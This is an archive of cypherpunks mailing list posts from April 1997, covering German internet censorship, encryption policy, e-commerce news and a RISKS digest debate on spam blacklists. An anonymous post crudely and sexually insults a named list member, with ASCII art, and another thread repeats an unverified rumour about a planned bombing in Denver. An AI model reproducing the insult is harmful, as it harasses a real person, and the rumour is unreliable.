Date: Tue, 22 Apr 1997 05:47:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Germany Proposes Policing the Internet
Message-ID: <199704221247.HAA26787@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


There is a Rueters story this morning on Germany's proposal to police 
the Internet. 


--C

http://www.infoseek.com/Content?col=NX&arn=a0409robti-19970419&dbid=4
&lk=noframes&ud3=2295E5565D2A6D7AD8C45800DC9F484B&ak=NONE&kt=G



**********************************************************************
Charles Anthony
canthony@info-nation.com
http://www.info-nation.com

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Tue, 22 Apr 1997 22:07:46 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Short AP Rant [POLITICAL NOISE]
Message-ID: <199704230503.WAA29070@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:27 AM 4/20/97 +0800, jamesd wrote:
> > The election of various unpleasant Islamic Fundamentalist regimes.
> > In particular, it seems likely that had the generals not violently 
> > overthrown democracy in Algeria, the democratically elected
> > representatives of the people would have proceeded to kill off
> > everyone they deemed insufficiently Islamic, a very substantial
> > minority, a minority which would doubtless have included most of 
> > the generals and their families.

At 09:22 PM 4/20/97 -0700, Bill Stewart wrote:
> The Islamic party didn't start killing off foreigners until the
> French and other Westerners supported the generals who overthrew them.

However they have been murdering Algerian women and children from 
day one, though they did not get into murdering Western women and 
children until a little later.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 22 Apr 1997 08:53:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: BIL_due
Message-ID: <1.5.4.32.19970422155158.00841784@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


     22 April 1997:

     Space/intelligence technology's embattled frontier 

     European citizens and governments alike have expressed
     concern over the recent expansion of U.S. intelligence bases
     in Europe. The National Security Agency (NSA) and National
     Reconnaissance Office (NRO) are combining efforts at large
     sites known as regional SIGINT (signals intelligence)
     operation centers, or RSOCs. 

     At a recent Space Symposium in Colorado Springs, Colo.,
     NRO director Keith Hall said that the merging of the NSA and
     NRO bases is the first step in creating "collaborative systems
     of systems in signals intelligence." In the future, Hall said,
     those joint efforts could also include the U.S. Space
     Command, the service intelligence agencies and even
     commercial resources "borrowed" by the intelligence
     community. 

     U.S. military officials have been surprisingly candid about
     their intent to take maximum strategic advantage of their
     information trump cards. Air Force Secretary Sheila Widnall 
     said, "Our allies must understand that we bring tremendous 
     capabilities to the table, and it would be to their advantage to 
     find ways we both can use [them]." 

     In a more blatant revelation of U.S. sentiment, Gen. Howell
     Estes, commander of the U.S. Space Command, said the
     United States "is the only nation intellectually prepared for and
     morally capable" of controlling space-based intelligence. 

----------

     President, Senators Set to clash on Encryption

     Bent on retaining access to any and all data exported from the
     United States, the Clinton administration soon will solidify its
     position on Internet security issues and have a bill sponsored
     in the Senate. 

     Meanwhile, microprocessing giant Intel Corp. of Santa Clara,
     Calif., which has been developing hardware-based encryption
     tools based on Cupertino, Calif.-based Hewlett-Packard's
     International Cryptography Framework, is sitting tight,
     waiting to see how things play out on Capitol Hill. 

     Intel already has submitted the framework for government
     review, but is closely guarding specifics about its encryption
     key lengths. 

----------

     SET 2.0 on the way - Encryption spec speeds e-commerce 

     "SET 2.0 will be security-algorithm-independent," said Steve
     Mott, senior vice president for electronic commerce at
     MasterCard International. "The issue is not the underlying
     cryptography, and the problem is not with RSA's
     mathematics; it's how efficient [RSA's cryptography] is." 

     Vendors such as Certicom, Apple Computer, and RPK are all
     positioning themselves as alternatives to market-leader RSA
     for providing encryption technologies. 

     "We have SET 1.0 pilots going with elliptic curve
     cryptography," Mott said. 

     Elliptic Curve Cryptosystem (ECC) is a technology that is
     being pushed by both Certicom and Apple.

     RPK, meanwhile, offers another alternative to encryption: Its
     Mixture Generator encryption engine performs both bulk and
     key encryption.

----------

     A Smart Partnership 

     Pretty Good Privacy Inc. and Schlumberger Electronic 
     Transactions are teaming up to integrate their encryption 
     and smart-card technologies. The two companies will interweave 
     PGP's encryption software with Schlumberger's Cryptoflex smart
     card, which supports functions such as key and digital
     certificate storage and signatures.

----------

     U.S. Seeks Laissez Faire on Internet 

     The Clinton administration plans to tell the Internal Revenue
     Service and bank regulators to forget about new rules for
     Internet commerce in a policy paper that is scheduled to be
     released later this spring, Ira Magaziner said last week. 

     It is unclear how far this laissez faire approach will go.
     Speaking at the same session, a top official in the Office of
     the U.S. Trade Representative warned about the obstacles he
     sees in trying to get other governments to go along. 
     He warned. "What do governments want to do? They want to
     regulate," he added. "It's ingrained to the system. It's almost a
     social-democratic ideal they want to fulfill." 


-----------

     MITI to develop int'l electronic commerce technology 

     The ministry will formulate a standard for authentication
     centers that use different data-verification methods. The new
     protocol would facilitate the exchange of encryption data
     among authentication centers around the world, thus allowing
     a business to verify the identity of a client in another country.

     MITI, which has earmarked over 10 billion yen (about 79.82
     million dollars) for electronic commerce tests, is hoping to
     nurture Japan's own electronic commerce services and to
     narrow the technological gap with the U.S. 

----------

BIL_due

or

http://jya.com/bildue.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Tue, 22 Apr 1997 13:26:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <1.5.4.32.19970422155158.00841784@pop.pipeline.com>
Message-ID: <199704221921.MAA00734@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young writes:
 >      In a more blatant revelation of U.S. sentiment, Gen. Howell
 >      Estes, commander of the U.S. Space Command, said the
 >      United States "is the only nation intellectually prepared for and
 >      morally capable" of controlling space-based intelligence. 

[ I tried several pithy followups to this statement and have concluded
  that there is nothing intelligent or moral to add. ]

TruthMonger e^(2[pi]i)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 22 Apr 1997 10:39:25 -0700 (PDT)
To: "cypherpunks" <eric@clever.net>
Subject: Re: Fwd:Clinton and RSA, True?
Message-ID: <199704221739.NAA16574@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3953.1071713694.multipart/signed"

--Boundary..3953.1071713694.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

>Yet, at the same time the Clinton administration attemped to
>lump out nearly a billion dollars to buy a US company.  This
>smaller, "leaner", US Government, according to Ira Sockowitz, a
>former Commerce employee appointed by Bill Clinton, ordered him
>to meet with RSA Inc. Chairman James Bidzos.  The topic of that
>meeting was the official desire to secretly purchase RSA Inc.
>using taxpayer money.

[drivel deleted]

Cyber dog loses points for the following:-

NO mention of the Zarapuder film.
NO explanation of Vince Foster's death.
NO consideration given to the credible evidence of UFO sightings. 

Quite why the US govt. would want to buy RSA is beyond me. They already
have a license to use RSA for internal purposes, the patent expires in
three years in any case. Even if RSA was completely banned it would
still be possible to use El-Gamal and variants for encryption and
digital signatures.

False, and no more than 3/10 for effort.

Phill




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sandy&darlene@hotmail.com
Date: Tue, 22 Apr 1997 13:05:55 -0700 (PDT)
To: sandy&amp;darlene@hotmail.com
Subject: stop by and see us.
Message-ID: <199704221957.MAA10336@sweden.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT  COLOR="#ff0000" SIZE=3><B>
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<FONT  COLOR="#000000" SIZE=3></B>
</P><P ALIGN=LEFT>
</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 22 Apr 1997 18:39:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Generic announcement
Message-ID: <19970422183723.30130@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


This is from a story on Top Level Domain Names.  Seems like it could apply 
to anything:
 
"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market   
system. A White House inter-agency taskforce was due to meet last
week, after CWI's press deadline, to discuss the matter."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Tue, 22 Apr 1997 18:23:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: www.wow-com.com
Message-ID: <199704230122.VAA27293@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear WOW-COM Reader:

WOW-COM continues to provide the knowledge wireless professionals need to stay ahead in a fast-paced environment.  Our news, CTIA-sponsored research and  regular updates on the top issues affecting wireless, make WOW-COM the site for industry professionals.  

Daily use of the wireless industry's Web hub continues to grow because we constantly add new features and information.  Here is what's new:

**Searchable Database on Antenna Moratoria Across America**

This segment of WOW-COM provides the information on every effort by localities to thwart development of wireless infrastructure by limiting tower development.  This analysis is of great value to all wireless professionals attempting to navigate the tower siting issue successfully.

To reach the Moratoria Database, click on http://www.WOW-COM.com/professional/siting/index.cfm

**Career Center**

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**Week In Review**

The Week In Review, authored by CTIA political and regulatory experts, is available every Friday on WOW-COM -- three days before its scheduled Monday release.

We are always adding additional services, analysis and research for WOW-COM readers.  Please let us know what you think about WOW-COM and how we can serve you better!

Sincerely,
Team WOW-COM
wcreply@ctia.org
www.wow-com.com

We hope you found this email useful and informative.  If you didn't, we sincerely apologize.  If you do not wish to receive our notices, please reply to wcreply@ctia.org.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Wed, 23 Apr 1997 05:22:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: (Fwd) Wired news: German Network Lifts Ban on Dutch ISP
Message-ID: <199704231222.HAA21890@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


The mirror efforts have been a success. Germany has lifted the ban on 
the xs4all site.

--C


------- Forwarded Message Follows -------
From:          tank <tank@xs4all.nl>
Subject:       Wired news: German Network Lifts Ban on Dutch ISP
To:            tank@xs4all.nl
Date:          Wed, 23 Apr 1997 11:39:04 +0200 (MET DST)

>From www.wired.com:


German Network Lifts Ban on Dutch ISP 

With mirror sites defeating its attempt to shutter a left-wing
magazine, Germany's main academic network has called off the blockade.
The network acted 11 April after prosecutors warned that Radikal
magazine, hosted by Dutch ISP XS4ALL, was illegal. The network then
blocked XS4ALL, which hosts 6,000 Web sites. Protests included
widespread mirroring of Radikal. "An effective barrier to the illegal
content was not possible," a network spokesman told the Associated
Press Tuesday.


XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger 
felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 



**********************************************************************
Charles Anthony
canthony@info-nation.com
http://www.info-nation.com

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Wed, 23 Apr 1997 05:52:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: The Risks of Automatic Spam Filtering/Deadbolt
Message-ID: <199704231252.HAA23219@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


An item from Risks-Forum Digest forwarded through the Red Rock Eater 
News Service- 

--C



Date: Thu, 27 Mar 1997 11:31:55 -0800 (PST)
From: risks@csl.sri.com
Subject: RISKS DIGEST 18.94

RISKS-LIST: Risks-Forum Digest  Thursday 27 March 1997  Volume 18 : Issue 94

----------------------------------------------------------------------

Date: Wed, 26 Mar 1997 09:25:38 -0600 (CST)
From: Prentiss Riddle <riddle@is.rice.edu>
Subject: Risks of automatic spam blockers

Forwarded from Edupage, 25 March 1997:
| SPAM BLOCK
| A California software engineer [Ron Guilmette] takes the annoyance
| caused by unsolicited e-mail messages seriously, and has developed an
| anti-spam weapon he plans to unveil next month.  Dead Bolt allows
| online users to share their "blacklists" of spam purveyors so that they
| can more effectively filter offending e-mail.  "The problem now is that
| everyone who is filtering is keeping their own blacklists and they're
| not working together to tie their lists together in a meaningful way,"
| says Dead Bolt's creator.  "What I hope my package will do is allow
| people to work together over the Net and filter all this stuff out and
| finally put these people out of business....The problem is that it
| costs the sender virtually zero dollars to send out a million messages,
| and even if the response rate is minuscule by all standards -- say .001
| percent -- they've made money.  So from an economic selfish point of
| view, it's in their interest to annoy the other 99.99 percent of the
| people." (Miami Herald 24 Mar 97)

The full Miami Herald article is available at:

   http://www.herald.com/archive/cyber/techdocs/056735.htm

Some of the risks of automatic spam filtering which Deadbolt will have
to overcome in order to be successful include:

   -- The risk of false and malicious blacklisting of non-spammers. 

   -- The risk of harm to innocent bystanders who happen to share
      hostnames, ISPs, or other characteristics with targeted spammers.

   -- The possibility that spam messages will avoid detection by
      varying return addresses and other signatures in each copy of
      a message.

I find the first two particularly troubling -- were an imperfect spam
filtering system in wide use, then triggering it against an innocent
party could become a handy form of denial-of-service attack.

Published details of Deadbolt are sketchy, but a Deja News or Alta
Vista search of Usenet for "Ron Guilmette" reveals some of its
designer's thinking on the subject.  So far, I don't see enough to
convince me that he will be successful.

Prentiss Riddle  riddle@rice.edu

------------------------------

End of RISKS-FORUM Digest 18.94 
************************




Date: Tue, 1 Apr 1997 17:01:10 -0800 (PST)
From: risks@csl.sri.com

RISKS-LIST: Risks-Forum Digest  Wednesday 02 April 1997  Volume 19 : Issue 02

----------------------------------------------------------------------

Date: Thu, 27 Mar 97 13:44:07 PST
From: zerkle@cs.ucdavis.edu (Dan Zerkle)
Subject: Re: Risks of automatic spam blockers (Riddle, RISKS-18.94)

> Dead Bolt allows online users to share their "blacklists" of spam 
> purveyors so that they can more effectively filter offending e-mail.

Something like this has, unfortunately, become necessary.  It will happen
someday.  Stopping spam is a topic near and dear to me, and I've already
considered the risks mentioned.

> The risk of false and malicious blacklisting of non-spammers. 

This is a serious problem.  A step towards solving it would be a secure
clearing house of data on spammers.  It would need to be distributed via a
technique like PGP-signed Usenet messages or a on online database
downloadable through some secure transfer medium.

Whoever maintained the database would need to somehow decide what went into
it and what didn't.  The entries would have to be classified by reliability
level so that the users could decide which data to use and which to ignore.

Unfortunately, doing this would subject whoever did it to a suit by spammers
who didn't want to be blocked.  I haven't figured out a way to avoid this
particular risk short of establishing the operation in a country without
spammers.

> The risk of harm to innocent bystanders who happen to share hostnames,
> ISPs, or other characteristics with targeted spammers.

This is not a risk.  This is a benefit.  If users at an ISP get blocked
because the other users at that ISP are spamming, they will take their
business elsewhere.  ISP's will either take measures to avoid harboring
spammers, or they will lose their customers and go out of business.  Either
way, spammers will have one less place to hide.

> The possibility that spam messages will avoid detection by varying return
> addresses and other signatures in each copy of a message.

If the source of a spam can be discovered, this is not a problem.  The
original spamming host is going to show up somewhere in the Received: line,
even if only as an IP number.  Poorly configured sendmails on intermediate
(relay) hosts might not properly include the Received: information.  If this
is the case, the defective site should be blocked until its owners fix it.

------------------------------

Date: Fri, 28 Mar 1997 10:57:47 -0500
From: Wayne Mesard <wmesard@sgi.com>
Subject: Spam-proofed "From:" lines

A recent trend in the war against spam is to munge the "From:" line in
outgoing Usenet and e-mail messages (e.g., by adding asterisks or
exclamation points to the beginning or end of the userid).  

These messages are typically accompanied by a terse note at the bottom
of the message instructing respondents to "Remove asterisks [or
whatever] from my address if you would like to reply."

I see several risks with this technique:

- False security: Most mail and news agents will dutifully add a
  "Sender:" line containing the "actual" e-mail address, if the
  user-supplied "From:" line doesn't look right.

  Since many spammers already gather addresses from the "Sender:" line,
  munging the "From:" line provides only limited protection.

- Inconsideration: In that a munged "From:" line reduces the spam
  received, it reduces the amount of work the munger has to do.  

  So instead of having to press one key to delete a junk e-mail message,
  everyone that wants to reply to one of his messages has to (a) notice
  that the address is bogus (b) press many keys to fix it.  (Indeed, some
  mail readers make it quite tedious to edit the headers in replies.)

  In other words, it hasn't eliminated the problem; it's merely shifted
  the work from the sender to his correspondents.

- Lost messages: a non-scientific survey of some novice-user friends
  indicated that a large number of them had no idea what the "remove
  asterisks..." directive meant, how to perform this task, or what to do
  with the bounced messages that will result from the failure to do so.

- False security 2: In the ever-escalating spam arms race, it won't be
  long before spammers' address-gathering software is modified to
  unmunged munged "From:" lines.  (I can think of two obvious techniques,
  which I won't describe here so as to avoid providing aid and comfort
  to the enemy.)

Wayne

------------------------------

End of RISKS-FORUM Digest 19.02 
************************


Date: Fri, 4 Apr 1997 17:04:13 -0800 (PST)
From: risks@csl.sri.com

RISKS-LIST: Risks-Forum Digest  Friday 4 April 1997  Volume 19 : Issue 04

----------------------------------------------------------------------

Date: Tue, 1 Apr 1997 18:35:54 -0800 (PST)
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

>> The risk of false and malicious blacklisting of non-spammers.  (Riddle)
Dan> This is a serious problem.  A step towards solving it would be [...]

This is unnecessarily complex.  The NoCeM effort (see http://www.cm.org/ for
details) has simply, and effectively, dealt with the spam problem for
usenet.  Efforts are underway to adapt this to e-mail.

NoCeM works this way:
 * Someone takes it upon himself to watch for spam in a newsgroup (or groups).
 * When spam does appear, that someone posts a "NoCeM" message to
   news:alt.nocem.misc and/or news:news.admin.net-abuse.misc, PGP signed.
 * Users who want to benefit from the filters have clients that, when
   they grab news, look in news:alt.nocem.misc (and potentially other
   places) for NoCeM messages.  The client verifies the signatures,
   and if it's signed by someone the client agrees to listen to, the
   message won't be shown to the user at all.
 * Clients are also available to work with news servers, to NoCeM
   messages on a site-wide basis.  (I believe that these actually
   cancel the NoCeM'd messages on the site.)

This is nice, because it uses what's already there (news), and allows the
user (or admin, depending on the model) to select which users' NoCeMs he
honors.  Either you trust someone's judgement and honor their NoCeMs, or you
don't, and they're completely ignored.

Dan> Unfortunately, doing this would subject whoever did it to a suit
Dan> by spammers who didn't want to be blocked.

Superfluous lawsuits are threatened all the time... few have the resources
of CyberPromo to actually be stupid enough to try any of this.  (It's
another thing about NoCeM...it doesn't kill the messages, it just is another
post, that certain clients deal with behind the scenes. :-)

Matt Curtin  Chief Scientist  Megasoft, Inc.  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/ 

------------------------------

Date: Wed, 2 Apr 1997 11:57:49 -0800 (PST)
From: Ted Wong <tmw5@cornell.edu>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

Instead of having a central repository of spam, why not use a
distributed spam-control system analogous to NoCeMs for Usenet news?
Anyone could then issue digitally-signed spam-block notifications, but
an individual user would configure their system to only apply notices
that came from cancellers they trusted. An Alpha version of NoCeM for
e-mail already exists, at <http://www.novia.net/~doumakes/abuse/>.

Some advantages of this system are:

o It thwarts malicious individuals or organizations attempting to
systematically censor e-mail. Unless the user lists them as trusted
cancellers, their notices will be ignored.

o A 'spotcheck' mode would allow users to occasionally receive an otherwise
cancelled e-mail, to ensure that an otherwise trusted canceller hasn't
stepped over the line between spam-blocking and censorship.

o There is no risk of some central database being compromised by spammers or
censors.

o Users receive more timely warnings of new spam, without needing to
periodically check and download a spam-list.

o  The spammers have no-one to sue for freedom-of-speech violations.
While I'm not a lawyer, I can't see any way to sue someone for merely
suggesting that a spammer's mail isn't worth reading. 

> > The risk of harm to innocent bystanders who happen to share hostnames,
> > ISPs, or other characteristics with targeted spammers.
> 
> This is not a risk.  This is a benefit.  [...]

I can't see that this is a benefit. Changing your ISP is hardly a trivial
task - you have to notify all of your correspondents of your new e-mail
address, archive any web pages you may have stored at your ISP, reconfigure
your internal network if you were using a Class C subnet, etc. It's grossly
unfair to punish legitimate users because they were unfortunate enough to
have some Canter and Siegal wanna-be set up shop on their ISP.

Ted Wong  Information Technology Section  Mann Library, Cornell University
<tmw5@cornell.edu>

------------------------------

Date: Wed, 2 Apr 1997 08:33:02 -0800 (PST)
From: "Rosenthal, Harlan" <rosenthh@dialogic.com>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

> [...] they will take their business elsewhere.  

Easy to say from a university or company account.  In the real world, nobody
wants to change addresses and notify all of their correspondents, especially
if it means losing an established presence that may have been widely
disseminated to =potential= correspondents (not to mention reprinting
stationary and business cards).  And why should the multitude suffer this
inconvenience, expense, and loss of communication, for the activities of the
few?

Spam is the biggest single argument for usage charges.  As long as it's
cheap to set up a new address and free to abuse it, there's no reason for
the spammers to cut down on e-mailing spam and freeloading on other people's
processors and comm lines.  The fact that spam can be sent from a domain
shared by many legitimate users, and that even new addresses may be reused
after the spammer changes away, means that abusers are hiding among the
innocent like hostage-taking terrorists - hyperbole, perhaps, but congruent
in style if not in magnitude.  The goal of any anti-spam approach should be
to block, slow, or encumber transmission as close to the source as possible.
Yet legitimate cases are always at risk; limiting the cc: lines, for
example, could inconvenience clubs or companies almost as much as it slows
the spammers.  As in any police-power or security effort, the problem is how
much freedom the average innocent person is prepared to give up so that the
abuser can be blocked.

-harlan

------------------------------

Date: Wed, 2 Apr 1997 09:32:46 -0800 (PST)
From: Dan Franklin <dan@copernicus.bbn.com>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

> The original spamming host is going to show up somewhere in the Received: 
> line, [...]

Note that if you are fortunate enough to have Received: lines to work from
(the most recent spam I received had none at all, either because the relay
host was defective or because it really was sent directly to my mailhost)
you still have a challenge, because the spammer can insert one or more bogus
Received lines in the initial message, so the one added by the first relay
host will be buried in the middle.

By the way, it does not seem practical to me to block all mail-relay sites
that don't add Received lines.  How would you generate such a list?  What
incentive would you provide to such a site to change their software?

Dan Franklin

------------------------------

Date: Wed, 2 Apr 1997 10:57:55 -0800 (PST)
From: "J. DeBert" <onymouse@hypatia.com>
Subject: Re: Risks of automatic spam blockers (Zerkle, RISKS-19.02)

Any method of auto-blocking spam will create a serious problem for anyone
who later acquire the spammers' discarded domain names.

Spammers are registering lots of domain names and faking many to evade
anti-spam and cancel bots and to hide from their enemies as well as the
public at large. Once they are done with the domain names and they--the
registered names--become available again, the next organization to acquire
the name will find their mail bouncing or disappearing into /dev/null
somewhere and perhaps harassed by bots and hostile spam-haters which do not
know that the domain name has changed hands. The unfortunate victims of such
acts may not even be able to escape them by merely changing their domain
name, either.

Who is going to removed dead spammer domains from the anti- spam and cancel
bots' records and make sure that everyone knows about it?

onymouse@hypatia.com | I've only one thing to 
 Send NO spam        | say to spammers: "47USC227".

  [Many thanks to an onymouse contributor (J DeBert), 
  who acted as a guest moderator for this topic.  PGN]

------------------------------

End of RISKS-FORUM Digest 19.04 
************************



Date: Tue, 22 Apr 1997 12:03:12 -0700 (PDT)
From: risks@csl.sri.com
Subject: RISKS DIGEST 19.10

RISKS-LIST: Risks-Forum Digest  Tuesday 22 April 1997  Volume 19 : Issue 10

----------------------------------------------------------------------

Date: Thu, 17 Apr 97 19:49:30 EDT
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Risks of automatic spam blockers (Curtin, RISKS-19.04)

On the risks of issuing NoCeMs

I've been issuing NoCeMs for off-topic articles in several newsgroups (both
global Usenet and the nyc.* hierarchy) since the summer of '96.  I've
received two legalese threats of legal action from posters of material that
matched my criteria of being off-topic.

1. Michael Weir, a recruiter from Canada, insisted on posting job ads in
an unmoderated discussion newsgroup whose charter prohibits job ads and
resumes. He threatened to sue me for using his name in the NoCeM notices.
He also posted a series of abusive flames about me. A search of DejaNews
revealed several articles from him in Canadian newsgroups discussing
his litigations and asking for personal information about a judge.
Eventually he went away.

2. The "New York Theosophical Society" insists on posting in the local
newsgroup nyc.seminars (usually used to announce, what else, seminars).  One
Bart Lidofsky responded to the NoCeM articles by saying:

"I consider these messages to be a form of harassment, and will treat them
as such."

I have also seen several claims that the NoCeM notices themselves are
"spam".  Apparently, this term now applies to any traffic that the user
doesn't like for any reason.

I understand that other issuers of NoCeMs have also received threats, and at
least one poster has been forging old-fashioned cancels for the NoCeM
notices that mention his articles (another good reason to stop processing
all old-fashioned cancels).

Dimitri "co-proponent of news.lists.filters where NoCeM notices are posted"
Vulis  Dr.Dimitri Vulis KOTM

------------------------------

End of RISKS-FORUM Digest 19.10 
************************


Standard Risks reuse disclaimer:

  Reused without explicit authorization under blanket
  permission granted for all Risks-Forum Digest materials.
  The author(s), the RISKS moderator, and the ACM have no
  connection with this reuse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 23 Apr 1997 06:38:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EC Electronic Commerce Report
Message-ID: <1.5.4.32.19970423133733.0091633c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The European Commission has issued a major initiative
for electronic commerce in competition and contrast with 
that of the US being readied for release shortly by Ira 
Magaziner. Online privacy and information security are 
featured.

   http://jya.com/ecomcom.htm  (110K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@ssds.com>
Date: Wed, 23 Apr 1997 09:04:17 -0700 (PDT)
To: kent@songbird.com>
Subject: Re: Generic announcement
Message-ID: <199704231603.KAA12350@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Tue, 22 Apr 1997 18:37:23 -0700
> From:          Kent Crispin <kent@songbird.com>
> To:            cypherpunks@toad.com
> Subject:       Generic announcement

> This is from a story on Top Level Domain Names.  Seems like it could apply 
> to anything:
  
> "In Washington DC, officials from the White House, federal agencies and
> Congress say regulations may be necessary to promote a free-market   
> system. A White House inter-agency taskforce was due to meet last
> week, after CWI's press deadline, to discuss the matter."
> 
Thats about the most humorous thing I've read all week.  Typical 
socialist mindset "we had to control it to set it free".  Sort of 
like "we had to destroy the village to save it."

This must be the same Orwellian mindset that gave birth to the Waco
"Hostage Rescue Team" concept.

Please don't rescue me.  

War is Peace
Love is Hate

I love big brother.

Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
Sometimes it is said that man cannot be trusted with the government
of himself.  Can he, then, be trusted with the government of others?
Or have we found angels in the forms of kings to govern him?  Let
history answer this question.  -Thomas Jefferson, 1st Inaugural Addr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 23 Apr 1997 11:31:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704231800.LAA15657@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May is just another garden variety Intel pansy that has 
been misusing its `manhole' so badly that the overstretched 
sphincter cannot hold back the shit that all Intellers are full 
of and it spills out onto this mailing list.

      ,/         \,
     ((__,-,,,-,__)), Timothy May
      `--)~   ~(--`
     .-'(       )`-,
     `~~`d\   /b`~~`
         |     |
         (6___6)
          `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 23 Apr 1997 10:42:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop
In-Reply-To: <3351BDB6.1FFE@sk.sympatico.ca>
Message-ID: <6oDm6D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Timothy C. May wrote:
>  
> > The A-10 is believed by Reliable Sources to have been on its way to bomb
> > the Federal Building, while the McVeigh trial was starting, in Denver.
> > 
> > (I'm on some strange lists and can't vouch for this revelation.)
> 
>   Which begs the question, "Would those lists be strange if you
> 'weren't'
> on them?"

Is Timmy `C' May on his own "do not hire" list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 23 Apr 1997 10:30:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Plain Text / InterNet Free Terra
In-Reply-To: <3356E038.1636@sk.sympatico.ca>
Message-ID: <1iem6D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


InterNet Free Terra <carljohn@sk.sympatico.ca> writes:

>     "The Internet interprets censorship as damage, and routes around it"
>                                 John Gilmore

Whose cow should moo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Wed, 23 Apr 1997 02:40:26 -0700 (PDT)
To: tank@xs4all.nl
Subject: Wired news: German Network Lifts Ban on Dutch ISP
Message-ID: <199704230939.LAA22689@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


>From www.wired.com:


German Network Lifts Ban on Dutch ISP 

With mirror sites defeating its attempt to shutter a left-wing
magazine, Germany's main academic network has called off the blockade.
The network acted 11 April after prosecutors warned that Radikal
magazine, hosted by Dutch ISP XS4ALL, was illegal. The network then
blocked XS4ALL, which hosts 6,000 Web sites. Protests included
widespread mirroring of Radikal. "An effective barrier to the illegal
content was not possible," a network spokesman told the Associated
Press Tuesday.






XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl
for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 




